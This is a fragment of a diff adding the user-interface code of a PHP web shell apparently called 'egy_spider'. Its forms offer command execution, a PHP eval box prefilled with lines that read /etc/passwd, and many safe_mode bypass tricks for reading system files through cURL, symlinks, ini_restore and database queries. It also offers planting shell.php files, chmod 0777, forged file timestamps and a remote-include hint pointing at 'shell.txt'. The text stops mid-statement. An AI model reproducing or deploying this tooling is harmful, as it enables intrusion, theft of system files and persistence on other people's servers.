+if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; + + + + + + + +echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if($unix && @function_exists('touch')){ +echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"]))) +.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>" +.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):("")))); +echo sr(15,"<b> or set Day".$arrow."</b>", +' +<select name="day" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +</select>' +.ws(4)."<b>Month".$arrow."</b>" +.' +<select name="month" size="1"> +<option value="January">January</option> +<option value="February">February</option> +<option value="March">March</option> +<option value="April">April</option> +<option value="May">May</option> +<option value="June">June</option> +<option value="July">July</option> +<option value="August">August</option> +<option value="September">September</option> +<option value="October">October</option> +<option value="November">November</option> +<option value="December">December</option> +</select>' +.ws(4)."<b>Year".$arrow."</b>" +.' +<select name="year" size="1"> +<option value="1998">1998</option> +<option value="1999">1999</option> +<option value="2000">2000</option> +<option value="2001">2001</option> +<option value="2002">2002</option> +<option value="2003">2003</option> +<option value="2004">2004</option> +<option value="2005">2005</option> +<option value="2006">2006</option> +<option value="2006">2007</option> +<option value="2006">2008</option> +<option value="2006">2009</option> +<option value="2006">2010</option> +</select>' +.ws(4)."<b>Hour".$arrow."</b>" +.' +<select name="chasi" size="1"> +<option value="01">01</option> +<option value="02">02</option> +<option value="03">03</option> +<option value="04">04</option> +<option value="05">05</option> +<option value="06">06</option> +<option value="07">07</option> +<option value="08">08</option> +<option value="09">09</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +</select>' +.ws(4)."<b>Minute".$arrow."</b>" +.' +<select name="minutes" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.ws(4)."<b>Second".$arrow."</b>" +.' +<select name="second" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.in('hidden','cmd',0,'touch') +.in('hidden','dir',0,$dir) +.ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +$select=''; +if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";} +if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";} +if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";} +if($unix && $select){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts; +echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; + +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font; +echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100 rows=10>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts; +echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts; +echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + + +echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + + + + +echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + +echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>". +"<option value=3 selected>[ 3 ] (<1 sec (default))</option>". +"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>"; +echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + +{ +echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts; +echo 